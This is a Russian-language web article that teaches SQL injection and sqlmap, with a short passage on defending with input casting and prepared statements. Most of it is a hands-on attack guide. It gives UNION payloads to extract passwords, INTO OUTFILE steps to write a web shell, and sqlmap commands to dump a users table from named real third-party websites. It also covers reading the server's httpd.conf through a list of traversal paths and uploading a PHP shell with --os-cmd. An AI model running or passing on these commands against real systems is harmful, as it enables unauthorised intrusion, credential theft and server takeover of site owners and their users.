Заливка шелла с помощью sql инъекции. Заливаем шелл с SQLmap

💖 Нравится? Поделись с друзьями ссылкой

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь malroc . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.

Что такое sqlmap, для чего она нужна

Программа позволяет проверять сайты на наличие в них уязвимости SQL-инъекция, уязвимости XSS, а также эксплуатировать SQL-инъекцию. Поддерживаются разнообразные типы SQL-инъекций и разнообразные базы данных.

Что можно делать с помощью sqlmap

С помощью sqlmap можно:

  • проверять, имеется ли в сайтах уязвимость

Если сайт уязвим к SQL-инъекции, то возможно:

  • получать информацию из базы данных, в том числе дамп (всю) базу данных
  • изменять и удалять информацию из базы данных
  • заливать шелл (бэкдор) на веб-сервер

Один из сценариев использования sqlmap:

  • Получение имени пользователя и пароля из базы данных
  • Поиск панелей администрирования сайта (админок)
  • Вход в админку с полученным логином и паролем

При наличии уязвимости атака может развиваться по различным направлениям:

  • Модификация данных
  • Заливка бэкдора
  • Внедрение JavaScript кода для получения данных пользователей
  • Внедрение кода для подцепления на BeEF

Как мы можем убедиться, SQL-инъекция - очень опасная уязвимость, которая даёт злоумышленнику большие возможности.

Проверка сайтов с помощью sqlmap

Если сайт получает данные от пользователя методом GET (когда и имя переменной и передаваемые данные видны в адресной строке браузера), то нужно выбрать адрес страницы, в которой присутствует эта переменная. Она идёт после вопросительного знака (? ), например:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

В первом адресе, имя переменной - id , а передаваемое значение - 8 . Во втором адресе имя переменной также id , а передаваемое значение 22 . В третьем примере имя переменной такое же, но передаваемое значение p_36 . Одинаковое имя переменной - это случайное совпадение для разных сайтов, оно может быть любым, могут быть любыми передаваемые данные, может присутствовать несколько переменных со значениями, разделённые символом & .

Если мы хотим проверить, уязвима ли переменная id к SQL-инъекции, то нам нужно вводить адрес полностью - http://www.dwib.org/faq2.php?id=8 (а не http://www.dwib.org/faq2.php или http://www.dwib.org).

Команда для проверки переменной, передаваемой методом GET, очень проста:

Sqlmap -u адрес_сайта

Для данных сайтов команды будут:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24.com/read.php?id=p_36

В процессе проверки sqlmap может задавать различные вопросы и на них нужно отвечать y (т.е. Да) или n (т.е. Нет). Буква y и n могут быть заглавными или маленькими. Заглавная буква означает выбор по умолчанию, если вы с ним согласны, то просто нажмите Enter.

Примеры ситуаций и вопросов:

Heuristics detected that the target is protected by some kind of WAF/IPS/IDS do you want sqlmap to try to detect backend WAF/IPS/IDS?

Эвристика определила, что цель защищена каким-то WAF/IPS/IDS. Вы хотите, чтобы sqlmap попыталась определить наименование WAF/IPS/IDS?

Мой любимый запрос:

Heuristic (basic) test shows that GET parameter "id" might be injectable (possible DBMS: "MySQL") testing for SQL injection on GET parameter "id" it looks like the back-end DBMS is "MySQL". Do you want to skip test payloads specific for other DBMSes?

Суть в том, что эвристика определила, что параметр может быть уязвим и уже определена удалённая СУБД, нас спрашивают, хотим ли мы продолжить проверку. А на втором скриншоте сайте ещё и уязвим к XSS.

Если вы хотите автоматизировать процесс, чтобы sqlmap не спрашивала вас каждый раз, а использовала выбор по умолчанию (там всегда лучшие варианты), то можно запустить команду с опцией --batch :

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Возможные проблемы при сканировании sqlmap

Могут появиться следующей ошибки:

Connection timed out to the target URL. sqlmap is going to retry the request(s) if the problem persists please check that the provided target URL is valid. In case that it is, you can try to rerun with the switch "--random-agent" turned on and/or proxy switches ("--ignore-proxy", "--proxy",...)

Она означает, что веб-сайт не хочет «разговаривать» с sqlmap. В качестве варианта нам предлагают использовать --random-agent . Если в браузере вы можете наблюдать сайт, а sqlmap пишет о невозможности подключиться, значит сайт игнорирует запросы, ориентируясь на пользовательский агент. Опция --random-agent меняет стандартное значение sqlmap на произвольные:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Ещё одной причиной такой ошибки может быть блокировка вашего IP веб-сайтом - тогда нужно использовать прокси. Если вы уже используете прокси и появляется эта ошибка, то это может означать, что у прокси проблемы со связью и стоит попробовать без него.

Результаты сканирования sqlmap

Найденные SQL-инъекции отображаются следующим образом:

Т.е. выделяются жирно-салатовым цветом, пишется имя уязвимого параметра, вид SQL-уязвимости и имеется слово injectable .

Получение списка баз данных с sqlmap

Для получения списка баз данных используется опция --dbs . Примеры:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Получение информации из баз данных

Например, для сайта wellerpools.com обнаружено две базы данных:

[*] information_schema [*] main_wellerpools

Я хочу узнать список таблиц в базе данных main_wellerpools. Для этого используется опция --tables . Кроме неё, нам нужно указать интересующую нас таблицу после опции -D :

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Список таблиц:

По какой-то причине, мне хочется узнать список колонок из таблицы users. Для этого используется опция --columns . Кроме неё, нам нужно указать интересующую нас базу данных (-D main_wellerpools ) и после ключа -T таблицу, для которой мы хотим увидеть список колонок:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

Для вывода содержимого используется опция --dump . Её можно указать вместе с базой данных, и тогда будет сделан дамп всей базы данных, а можно ограничить данные одной таблицей или даже одной колонкой. Следующей командой я хочу увидеть содержимое всей таблицы users:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Взгляните на пароли - я при беглом осмотре подумал, что это хеши. Админы правда старались защититься, но это им не помогло.

Кстати, поскольку уязвим параметр, принимающий данные, отправленные методом GET, то можно сформировать запрос прямо в строке браузера таким образом, что логин и пароль пользователя будут выведены прямо на самом сайте:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9,10+from+users--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7,8,9,10+from+users--

Т.е. у нас имя пользователя, пароль и почта пользователей (а скорее всего даже администраторов) сайта. Если удастся найти административную панель сайта, то можно получить управление над сайтом или веб-сервером. Учитывая любовь пользователей к одинаковым паролям и зная их почтовые ящики - можно попробовать взломать почту.

В общем, SQL-инъекция - это очень опасная уязвимость.

Спойлер: .DZEN

У нас имеется SQL Injection на сайт, которая выглядит следующим образом,

Первым дело нам желательно проверить имеем ли мы привилегии на запись файлов на атакуемом ресурсе, для этого загружаем терминал и даем следующую команду:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Жмем Enter и начинается анализ нашей SQL Injection, выглядит отчет следующим образом:

Как вы видите в отчете написана версия Apache, версия MySQL, и версия ОС, установленной на сервере, все это нам пригодится в дальнейшем, но самое главное вы видите, что мы имеем права на запись файлов, это отображается в строчке Current User is DBA: True

Следующим шагом для нас является получение путей для записи нашего шелла. Путь до нашего сайта на сервере мы можем получить, скачав файл httpd.conf. Информацию о местоположении файла httpd.conf мы получаем с помощью Google, можно поискать по версии ОС, которая установлена или по списку наиболее вероятных путей. В общем не буду углубляться в серфинг по поисковым системам, просто когда выяснили наиболее вероятное месторасположение пути к файлу, то самое время скачать этот самый файл к себе на диск, для этого вводим следующую команду и запрашиваем чтение файла на сервере:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Сразу отметим, что не всегда удается найти этот конфиг-файл с первого раза, поэтому вы можете использовать наиболее вероятные пути по которым этот файл может находиться:

СПИСОК ВЕРОЯТНЫХ ПУТЕЙ К ФАЙЛУ КОНФИГА:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../../../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../../../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../../../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../../etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../../../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../../../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../../opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Мы получаем отчет от sqlmap в следующем виде:

Как вы видите, sqlmap нам сказал, что файл имеет такой же размер как и файл на сервере, следовательно мы имеем право на чтение этого файла. Если бы прав на чтение этого файла не хватало, то вылезла бы ошибка, что файл сохраненный на нашей машине имеет другой размер в отличие от файла на сервере, либо файла на сервере по указанному нами пути нет и никогда не было. Sqlmap cохранил наш файл в файлах отчета, а что бы прочитать его нужно запустить оконный менеджер. Для запуска оконного менеджера мы открываем еще одно окно терминала и вводим команду:

Далее в открывшемся менеджере идем по пути, куда sqlmap сложил файл т.е.:
/root/.sqlmap/output/sacoor.com
Далее, наведя курсор на файлик нажимаем кнопку F3 на клавиатуре и читаем конфиг-файл Apache:

Из нашего конфиг-файла мы видим, что наш сайт лежит на сервере по следующему пути:
/home/sbshop/site/

Теперь, когда мы имеем немного информации, можно пробовать залить шелл, для этого вводим следующую команду:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

После ввода команды sqlmap спросит какой тип заливщика мы желаем использовать, т.к. в нашем случае сайт на PHP, то и заливать мы будем PHP-loader, выбираемпункт4 и жмем Enter. Далее, sqlmap попросит выбрать нас куда мы будем заливать наш загрузчик, а т.к. мы уже знаем путь к нашему сайту на сервере, то выбираемпункт 2, нажимем Enter и указываем путь к сайту:
/home/sbshop/site/

А после этого жмем Enter и видим следующий отчет:

В данном случае sqlmap нам говорит, что в данную папку у нас нет прав на запись. Не беда, эту проблему достаточно легко решить. Даем команду на запуск uniscan и чекаем файлы и папки на возможность записи, вот команда.

Рассказать друзьям